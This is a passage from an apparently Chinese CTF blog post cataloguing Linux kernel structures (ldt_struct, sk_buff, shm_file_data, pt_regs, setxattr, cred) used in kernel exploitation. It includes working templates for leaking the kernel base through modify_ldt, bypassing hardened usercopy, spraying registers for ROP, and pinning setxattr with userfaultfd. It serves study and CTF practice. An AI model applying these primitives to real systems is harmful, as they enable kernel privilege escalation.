此外,在任意地址释放时,无序修改我们劫持的msg_msgm_ts字段。如上所示,其释放时并没有对该字段进行检查。因此,在任意地址释放时,修改其next指针即可,无序修改m_ts字段,即使其为很小的数例如0x10

0x05. ldt_struct (kmalloc-16(slub)/kmalloc-32(slab) | GFP_KERNEL)

该结构体相关的系统调用类似一个菜单,因此我们没有按照统一的方式来进行编写

其主要的作用是:

  • 通过修改ldt->entries,配合read_ldt进行任意地址读
  • 绕过harden usercopy,可以通过fork创建子进程并通过子进程来read_ldt

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;

/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

系统调用

通过一个叫做modify_ldt的系统调用来进行,该系统调用的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

其中,我们常用到read_ldtwrite_ldt两种系统调用,用户需要传递三个参数,分别为func函数、ptr指向struct user_desc的指针,和bytecount

其调用方法常常如下:

read_ldt

1
syscall(SYS_modify_ldt, 0, (struct user_desc*)&strct, bytecount); // bytecount为读取的字节数

write_ldt:

1
syscall(SYS_modify_ldt, 1, (struct user_desc*)&strct, sizeof(strct));

read_ldt

主要存在如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

可以看到其使用copy_to_user向用户的user_desc结构体拷贝了数据。因此,若能够控制ldt->entries,相当于实现了内核任意地址读。

另一方面,在ldt_struct结构体的中的entries指针也位于第一个字段,控制起来也比较方便。

需要注意的是使用时需要注意desc的编写,具体值可以参照下面的数据泄露模板中的值。

write_ldt

其会使用alloc_ldt_struct()函数来分配一个新的ldt_struct,并将其应用到进程,其主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

可以看到其会直接分配一个GFP_KERNELobj

通过read_ldtwrite_ldt,不难想到在UAF时可以配合实现内核任意地址读。

绕过hardened usercopy

只需要通过fork创建子进程,然后使用子进程来read_ldt就可以。

笔者这里其实不太清楚绕过该保护的细节:虽然在fork时,会将父进程的ldt拷贝给子进程,该阶段完全处于内核态,不会被检测到;但子进程仍然需要调用read_ldt来从内核态将数据拷贝到用户态不是吗?为什么这里绕过了笔者还不太清楚。

数据泄露模板

来自arttnba3师傅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
/* this should be referred to your kernel */
#define SECONDARY_STARTUP_64 0xffffffff81000060

struct user_desc desc;
uint64_t page_offset_base;
uint64_t secondary_startup_64;
uint64_t kernel_base = 0xffffffff81000000, kernel_offset;
uint64_t search_addr, result_addr = -1;
uint64_t temp;
char *buf;
int pipe_fd[2];

/* init descriptor info */
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;

/**
* do something to make the following ldt_struct to be modifiable,
* e.g. alloc and free a 32B GFP_KERNEL object under a UAF.
*
* Your code here:
*/

syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));

/* leak kernel direct mapping area by modify_ldt() */
while(1) {
/**
* do something to modify the ldt_struct->entries
* Your code here:
*/

retval = syscall(SYS_modify_ldt, 0, &temp, 8);
if (retval > 0) {
printf("[-] read data: %llx\n", temp);
break;
}
else if (retval == 0) {
err_exit("no mm->context.ldt!");
}
page_offset_base += 0x1000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n",
page_offset_base);

/* leak kernel base from direct mappinig area by modify_ldt() */
/**
* do something there to modify the ldt_struct->entries
* to page_offset_base + 0x9d000, pointer of secondary_startup_64() is here,
* read it out and we can get the base of `.text` segment.
*
* Your code here:
*/

syscall(SYS_modify_ldt, 0, &secondary_startup_64, 8);
kernel_offset = secondary_startup_64 - SECONDARY_STARTUP_64;
kernel_base += kernel_offset;
printf("\033[34m\033[1m[*]Get addr of secondary_startup_64: \033[0m%lx\n",
secondary_startup_64);
printf("\033[34m\033[1m[+] kernel_base: \033[0m%llx\n", kernel_base);
printf("\033[34m\033[1m[+] kernel_offset: \033[0m%llx\n", kernel_offset);

/* search for something in kernel space */
pipe(pipe_fd);
buf = (char*) mmap(NULL, 0x8000,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
while(1) {
/**
* modify the ldt_struct->entries to `search_addr` here,
* if you have to modify the ldt_struct->nr_entries at the same time,
* set it to `0x8000 / 8` is just okay.
*
* Your code here:
*/

if (!fork()) {
/* child process */
char *find_addr;

syscall(SYS_modify_ldt, 0, buf, 0x8000);
/* search for what you want there, this's an example */
find_addr = memmem(buf, 0x8000, "arttnba3", 8);
if (find_addr) {
result_addr = search_addr + (uint64_t)(find_addr - buf);
}
write(pipe_fd[1], &result_addr, 8);
exit(0);
}
/* parent process */
wait(NULL);
read(pipe_fd[0], &result_addr, 8);
if (result_addr != -1) {
break;
}
search_addr += 0x8000;
}

printf("\033[34m\033[1m[+] Obj found at addr: \033[0m%lx\n", result_addr);

0x06. sk_buff(大于kmalloc-512的任意obj读写) __GFP_NOMEMALLOC | __GFP_NOWARN

类似于setxattr,但sk_buff功能更强大,但仅适用于kmalloc-512以上的obj

(开启config_memcg_kmem时,实测该obj会与GFP_KERNEL隔离)

功能

可以分配任意大于等于kmalloc-512obj并写入内容,还可以读取内容同时free

sk_buff本身是linux kernel中网络协议栈的一个结构体。其指示一个数据包的headtail等信息。其结构体本身不太可控且会从独立的slub中分配,但它会将用户输入的内容用常规的kmalloc分配,其大小为用户数据加上一个tail尾部数据。由于尾部数据大小为320字节,因此最小分配的obj也是kmalloc-512

定义

使用前需要先初始化。

1
2
3
4
5
6
7
int sk_socket[2];

int ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket);
if (ret < 0)
{
err_exit("Failed to initial sk_socket.");
}

分配 & 编辑

很简单,直接write写入用户的内容即可。

1
2
3
4
5
6
7
// 第二个参数为写入的内容,第三个参数为写入的大小减去320,320为尾部大小
// 例如这里要申请一个kmalloc-1024即0x400的obj,则第三个参数为0x400-320
int ret = write(sk_socket[0], buf, 0x400 - 320);
if (ret < 0)
{
err_exit("Failed to send sk_buf.");
}

释放 & 读取

同样很简单,通过read读取用户内容即可。注意这里接收数据的同时还会释放obj

1
2
3
4
5
int ret = read(sk_socket[1], buf, 0x400 - 320);
if (ret < 0)
{
err_exit("Failed to recv sk_buf.");
}

0x07. shm_file_data (kmalloc-32 | GFP_KERNEL)

属性

总结

  • 原本是在用户态下用于进程间通信,操作共享内存
  • kernel pwn中,我们用于泄露地址和0x20obj分配

分配

定义:

1
int shm_fd = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT|0666);

随后使用shmat系统调用来分配struct shm_file_data结构体:

1
char* shm_ptr = shmat(shm_fd, NULL, SHM_RDONLY);

释放

使用shmdt系统调用释放即可:

1
shmdt(shm_ptr);

利用效果

  • 数据泄露,包括堆地址和内核基地址
  • 或者单纯用于分配obj

结构体

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

利用

数据泄露 - 内核基地址

struct shm_file_data中的ns域和vm_ops域指向内核的.text段,因此可以泄露内核基地址。

其中,ns通常指向init_ipc_ns

数据泄露 - 堆地址

struct shm_file_data中的file域为一个file结构体,位于direct mapping area,也就是内核堆上,因此可以泄露内核堆地址。

劫持程序控制流

常用结构体/函数

0x00. work_for_cpu_fn函数

实际上work_for_cpu_fn并不是结构体,只是在开启了多核支持的CPU都有的一个函数。因此这里我们记录得简短一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};

static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

可以简单理解为如下形式:

1
2
3
4
static void work_for_cpu_fn(size_t * args)
{
args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

可以看到,其将参数得第四个值作为函数,而参数的第五个值作为函数的参数执行。这让我们有简单的方式来直接执行一个带参数的函数。(要是system("/bin/sh")或许已经拿下了)。

例如,若我们将tty_operations中的函数指针劫持为work_for_cpu_fn,此时函数的参数为tty_struct

由此,对tty_struct执行ioctl即可执行:

1
((void*)tty_struct[4])(tty_struct[5]);

注意这里需要执行ioctl

0x01. pt_regs结构体

主要利用位于低版本:当用户代码进入内核态时,用户态寄存器的值会放在内核态的底部。因此,可以通过布置适当的寄存器值,从而使得内核态中可以根据pt_regs结构体的值来进行rop等操作。

定义如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

若需要在CTF Linux kernel中使用,可以使用如下板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 这里假定通过 seq_operations->stat 来触发
"syscall"
);

0x02. setxattr系统调用 GFP_KERNEL

介绍

我们可以通过如下方式进行setxattr的系统调用:

1
2
3
#include <sys/xattr.h>

setxattr("/exploit", "username", value, size, 0);

其中:

  • 第一个参数只需要指定一个存在的文件
  • 第二个参数随便

该系统调用中, 主要有如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

可以看到其实现了一个任意大小的obj申请,并且其内容也完全由我们控制!

但不幸的是,该obj分配过后,随机就会被释放掉,导致其没有干任何事~

利用 - 实现改写obj

虽然我们编辑内容后其会被释放掉,但我们仍然可以编辑其除了freelist的内容。

例如,若存在一个UAF,我们可以申请一个msg_msg结构体,并使用setxattr来申请回来改写m_ts实现越界数据读,或者改写next指针实现任意地址读~

利用 - 结合userfaultfd来堆占位

setxattr函数中有一个copy_from_user,不难想到可以利用userfaultfd来将其卡在这里

而如果只是卡在这里,那该函数将失去控制其内容的能力.

由此,我们可以利用堆占位技术来使得其既可以使得内容可控, 又随即让copy_from_user不再继续往下执行.

注意:

  • 需要让想写的结构体的内容都位于不会卡住的部分,否则结构体本身就会卡住
  • freelistpointer也需要位于不会卡住的部分

我们申请一块连续的两页内存:

1
| memory1: size=pagesize | memory2: size=pagesize |

随后,我们为第二部分的内存,注册userfaultfd, 使得访问到这里时直接卡住.

image-20240910154201533

如图所示,我们将我们要写入的内容写到第一页的末尾,使其结束时,刚好是第二页的userfaultfd的内容.

如此,我们即可让copy_from_user正常执行,随后访问到缺页的内容,导致线程卡住,不会执行free.

代码示意如下:

1
2
3
4
5
pwn_addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
register_userfaultfd_for_thread_stucking(&monitor_setx, (void*)((size_t)pwn_addr + 0x1000), 0x1000);

*(size_t*)((size_t)pwn_addr + 0x1000 - 8) = add_rsp_0x1f8 + kernel_offset;
setxattr("/init", "ltfall", (char*)((size_t)pwn_addr + 0x1000 - 8), 0x20, 0);

可以看到,我们上面便申请了一个kmalloc-32obj,并写入了add_rsp_0x1f8gadget~

0x

属性

总结

打开方式

魔数

利用效果

结构体

利用

数据泄露 - 泄露内核基地址

劫持程序控制流

常见结构体

0x00. cred (cache: cred_jar | size=192, 0xc0)

其定义为如下形式,位于include/linux/cred.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct cred {
atomic_t usage; /* 引用计数 */
kuid_t uid; /* 有效用户 ID */
kgid_t gid; /* 有效组 ID */
kuid_t suid; /* 保存的用户 ID */
kgid_t sgid; /* 保存的组 ID */
kuid_t euid; /* 有效用户 ID */
kgid_t egid; /* 有效组 ID */
kuid_t fsuid; /* 文件系统用户 ID */
kgid_t fsgid; /* 文件系统组 ID */
unsigned securebits; /* 安全位 */
kernel_cap_t cap_inheritable; /* 可继承能力 */
kernel_cap_t cap_permitted; /* 被允许的能力 */
kernel_cap_t cap_effective; /* 生效的能力 */
kernel_cap_t cap_bset; /* 能力的边界集合 */
kernel_cap_t cap_ambient; /* 环境能力 */
struct user_struct *user; /* 与用户相关的结构 */
struct group_info *group_info; /* 组信息 */
struct key *session_keyring; /* 会话密钥环 */
struct key *process_keyring; /* 进程密钥环 */
struct key *thread_keyring; /* 线程密钥环 */
struct key *request_key_auth; /* 请求密钥认证 */
#ifdef CONFIG_SECURITY
void *security; /* 安全模块相关的私有数据 */
#endif
#ifdef CONFIG_KEYS
struct key *user_keyring; /* 用户密钥环 */
struct key *user_ns_keyring; /* 用户命名空间密钥环 */
#endif
struct rcu_head rcu; /* 用于 RCU(读取-复制-更新)回收 */
};

0xFF. Linux kernel:结构体总结
http://example.com/2024/07/29/system/kernel/Linux_kernel_常用结构体/
作者
Ltfall
发布于
2024年7月29日
许可协议